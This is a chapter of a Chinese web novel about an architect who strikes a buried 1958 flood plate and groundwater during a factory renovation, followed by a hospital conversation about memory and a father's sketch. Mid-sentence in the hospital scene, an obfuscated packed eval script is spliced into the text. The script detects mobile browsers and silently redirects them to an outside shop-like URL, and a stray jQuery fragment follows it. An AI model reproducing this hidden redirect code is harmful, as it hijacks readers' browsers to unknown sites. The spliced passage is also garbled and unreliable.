挖掘机的铲斗挖到第三米深时，碰到了意料之外的东西。
不是卵石，不是夯土，是一层青黑色的、致密的黏土层。老陈叫停机器，跳下基坑，用铁锹铲开表层浮土。铲尖碰触到的瞬间，发出一声沉闷的“铛”——金属撞击声。
“停！”林溪喊道。
所有工人围拢过来。老陈蹲下身，用手扒开黏土。露出的不是岩石，而是一整片生锈的钢板——边缘整齐，明显是人工铺设。
林溪下到坑底。指尖触摸钢板表面，锈屑簌簌剥落，露出底下模糊的刻字：“1958.3 汛”。旁边还有一个箭头符号，指向东北方向。
“这是当年的防汛板。”林溪直起身，看向图纸上标注的暗河位置，“他们没完全改道，只是做了截流导流。”
老陈脸色变了：“意思是……水还在下面？”
话音未落，钢板的某个接缝处，突然渗出一股细流。不是喷涌，是缓慢的、但持续不断的渗出。水流混着铁锈，呈褐红色，在坑底渐渐汇成一小滩。
“抽水！”老陈吼道。
水泵架起来了，但水流速度超出了预估。抽走一滩，又渗出一滩。半小时后，基坑底部已经积了二十公分深的水。
林溪给顾怀瑾打电话，无人接听。打到第三遍时，接起的是陌生的女声：“顾先生在检查，不方便接电话。”
“检查？什么检查？”
“肩部伤口感染，需要二次清创。您是哪位？”
林溪的心沉了下去：“我是他同事。情况严重吗？”
“目前观察中。请稍后再联系。”
电话挂断。基坑里的水在上涨，抽水机的轰鸣声震耳欲聋。阳光炽烈，但林溪感到一阵寒意。
“林工，怎么办？”老陈抹了把脸上的汗，“水抽不赢，地基没法继续挖。”
林溪盯着那不断渗水的钢板接缝。图纸在脑海里展开：1958年的标注，汛期，截流板……他忽然意识到一个问题——当年是人工挖掘，深度有限。而他们用的是现代机械，挖得更深。
“停抽。”他说。
“什么？”
“停掉水泵，让水位稳定。”林溪爬出基坑，“我要看水平面停在哪个位置。”
老陈虽然困惑，还是照做了。水泵停止后，基坑里的水位缓慢上升，最终停在了某个高度。林溪测量：距离坑底一米二。
“地下水位线。”他喃喃道，“钢板以下的封闭空间，形成了一个局部水囊。我们挖穿了上覆土层，水压平衡被打破了。”
“那怎么办？灌水泥封堵？”
“不行。”林溪摇头，“强压封堵只会让水流寻找其他薄弱点，可能引起更大范围的渗漏。得疏导。”
他蹲在坑边，重新研究那张1957年的图纸。赵秀英在边缘的批注很简短：“水宜疏不宜堵，人心亦如是。”
这时手机震动，顾怀瑾回电了。背景音是医院的广播声。
“情况我大概猜到了。”顾怀瑾的声音有些沙哑，但语气平静，“你是不是挖到了防汛板？”
“对。渗水严重，地下水位很高。”
“听我说。”顾怀瑾顿了顿，林溪能听见他压抑的呼吸声，“1958年的做法是局部截流，把暗河主河道向东引了三十米。但支流还在原地，形成了一个地下蓄水层。你现在要做两件事：第一，在基坑下游挖一个集水井，比现有基坑再深一米五。第二，找到当年的导流管——图纸上应该有标注。”
林溪快速翻阅图纸。在某个角落，确实有一条虚线，标注着“备用导流，φ300”。
“找到了。但位置……在我们计划的主展厅正下方。”
“那就调整展厅布局。”顾怀瑾说得很果断，“把导流管区域做成一个展示装置，透明地面，让参观者能看到地下水流。这叫变问题为特色。”
林溪愣了愣：“可是方案已经批准了——”
“批准的方案是基于不完整的信息。”顾怀瑾咳嗽了两声，“现在信息更新了，方案就有权更新。业主那边我去说，你只管解决技术问题。”
“你的伤……”
“死不了。”顾怀瑾简短地说，“按我说的做。另外，拍照记录每个步骤，我要看到现场情况。”
电话挂断。林溪看着手机屏幕，深吸一口气，转身面对老陈和工人们。
“调整方案。在这里——”他在图纸上画了个圈，“挖集水井。同时，找这根导流管。”
工人们面面相觑。老陈吐掉嘴里的烟：“又要改？工期已经——”
“工期可以调，但水不会等。”林溪的声音不高，但足够清晰，“开始吧。”
接下来的八个小时，工地变成了一个紧张而有序的手术现场。
集水井挖到预定深度时，果然涌出了更大量的地下水。但这一次，水流被引导进了井中，基坑的水位开始下降。下午三点，工人们找到了那根导流管——铸铁材质，锈蚀严重，但管身完整。
清理管道口时，流出的水竟然是清澈的。在阳光下，能看见水底细小的沙粒缓缓流动。
“是活水。”老陈伸手试了试水温，“凉的，应该是从山里来的。”
林溪拍照，发给顾怀瑾。回复很快：“很好。保留管道，清理内壁，做透明保护罩。这会成为项目的核心记忆点。”
傍晚，业主张总来了。看到基坑里的水，他的脸色很难看。但听完林溪的解释，又看了导流管的实景，他沉默了很久。
“所以，这成了……特色？”他问。
“是历史自己选择的特色。”林溪说，“1958年的工程师没有完全封死暗河，而是选择了共存。我们今天只是让这种共存变得更可见。”
张总走到导流管边，蹲下，看着管口汩汩流出的清水。水中倒映着天空的云。
“我父亲说过，”他忽然开口，“以前厂里夏天最热的时候，车间地面是凉的。老师傅说，是因为下面有水。”
他站起来，拍拍手上的土：“就按你们的方案改。展厅布局调整，费用……我来协调。”
危机暂时解除。但林溪的心还悬着——顾怀瑾的伤。
晚上八点，他赶到医院。病房里，顾怀瑾半靠在床上，右肩重新包扎过，脸色比上午更苍白。床边坐着一个女人——五十岁左右，衣着考究，正削着苹果。
看见林溪，顾怀瑾微微点头：“这是我姐，顾怀玥。”
女人站起身，笑容得体：“林溪是吧？怀瑾提过你。今天工地的事，辛苦你了。”
“应该的。”林溪把工地照片递给顾怀瑾，“导流管找到了，水流很稳定。”
顾怀瑾一张张翻看，专注得仿佛忘了疼痛。最后一张照片，是透过清澈水流看到的管道内壁——锈蚀的纹理像某种古老的语言。
“很好。”他轻声说。
顾怀玥看着弟弟的表情，眼里闪过一丝复杂情绪。她起身：“你们聊工作吧，我去问问医生注意事项。”
她离开后，病房安静下来。窗外是城市的夜景，霓虹灯的光晕染在玻璃上。
“伤口怎么感染的？”林溪问。
“体质问题，对某种缝合线排异。”顾怀瑾说得很简单，“重新清创，换了线。一周后拆。”
他说得轻松，但林溪看见他额头细密的冷汗。
“工地那边，我可以——”
“你可以处理好。”顾怀瑾打断他，“今天不就处理得很好吗？”
林溪沉默。
“林溪，”顾怀瑾忽然叫他的名字，“知道我为什么坚持要救那个厂房吗？”
林溪摇头。
“因为有些东西，一旦失去，就再也没有了。”顾怀瑾看向窗外，“我失去过，所以知道那种感觉。”
“在印度的时候？”
“不只印度。”顾怀瑾顿了顿，“我父
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193487|197102||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
亲是建筑工人。我小时候住的那片老房子，是他参与建造的。后来拆迁，推土机来的那天，他站在废墟里，一句话也没说。”
病房的灯光很柔和，但在顾怀瑾的脸上投下深深浅浅的阴影。
“那天晚上，他喝醉了，说：‘我建了一辈子房子，最后连自己家都保不住。’”顾怀瑾的声音很平静，但林溪听出了底下暗涌的东西，“后来他病了，阿尔茨海默症。忘了我的名字，忘了回家的路，但记得那些砖怎么砌，灰缝要留多宽。”
他转过头，看着林溪：“所以你看，记忆很脆弱，但也很固执。它会选择最奇怪的方式留下来。”
林溪想起赵秀英的图纸，想起李阿姨讲述时的眼神，想起张总触摸导流管水流的那个瞬间。
“您父亲他……”
“三年前去世了。”顾怀瑾说，“最后那段日子，他每天在纸上画房子。画得乱七八糟，但结构都是对的。医生说，那是肌肉记忆。”
他从枕头下拿出一张叠起来的纸，递给林溪。
是一张铅笔草图。线条颤抖，比例失调，但能看出是一个简单的坡屋顶房子。烟囱画得特别仔细，砖块的排列方式精准得令人心碎。
右下角有一行歪斜的字：“给怀瑾，你的房子要结实。”
林溪的手指抚过那行字。铅笔的痕迹透过纸张，几乎能感受到书写时的力度。
“我姐一直不理解，我为什么总接这种费力不讨好的旧改项目。”顾怀瑾收回图纸，小心叠好，“她说，以我的能力，应该去做地标建筑，去拿奖，去赚更多的钱。”
“那您为什么……”
“因为地标建筑很多，但记忆很少。”顾怀瑾闭上眼睛，“钱可以再赚，奖可以再拿，但有些东西消失了，就永远消失了。”
病房外传来脚步声。顾怀玥回来了，手里拿着药单。
“医生说可以出院，但必须严格休息。”她看向林溪，“林工，最近能不能少给他派点工作？”
“姐。”顾怀瑾睁开眼。
“我说错了吗？”顾怀玥的声音有些发颤，“十年前在印度，你差点没命。现在又是这样。爸走的时候怎么说的？‘别学我，别把所有东西都扛在肩上’——”
“我记得。”顾怀瑾打断她，“但我也有我的选择。”
姐弟俩对视。空气里有种紧绷的张力。
林溪站起身：“我先回去整理今天的资料。顾总，您好好休息。”
他走到门口时，顾怀瑾叫住他：“林溪。”
“嗯？”
“明天，代我去见见李阿姨他们。告诉他们，导流管找到了，水还在流。”
林溪点头：“好。”
离开医院，夜风很凉。林溪站在路边等车，脑海里反复回响着顾怀瑾的话：“有些东西消失了，就永远消失了。”
出租车窗外的城市灯火辉煌，新建筑拔地而起，旧街区悄然消失。在这巨大的新陈代谢中，有多少记忆被碾碎，又有多少被侥幸保存？
手机震动，老陈发来照片：导流管已经清理干净，水流在灯光下泛着银光。工人们在旁边围看，像在看什么奇迹。
附言：“老伙计们说，这水跟六十年前一样清。”
林溪保存照片。
回到家，他打开电脑，开始修改展厅布局。原本规整的平面被打破，导流管所在的位置成了空间的核心。透明地面，环形展廊，水流声成为背景音。
他画得很投入，直到凌晨。
保存文件时，他在图纸角落加了一行小字：
“暗河与往事。有些水流在地下走了六十年，只为了等一个愿意看见它的人。”
关掉电脑，窗外天色已微明。
新的一天要开始了。新的问题，新的选择，新的记忆等待着被保存或遗弃。
但此刻，林溪突然清晰地意识到：
他选择的，是那个愿意看见的人。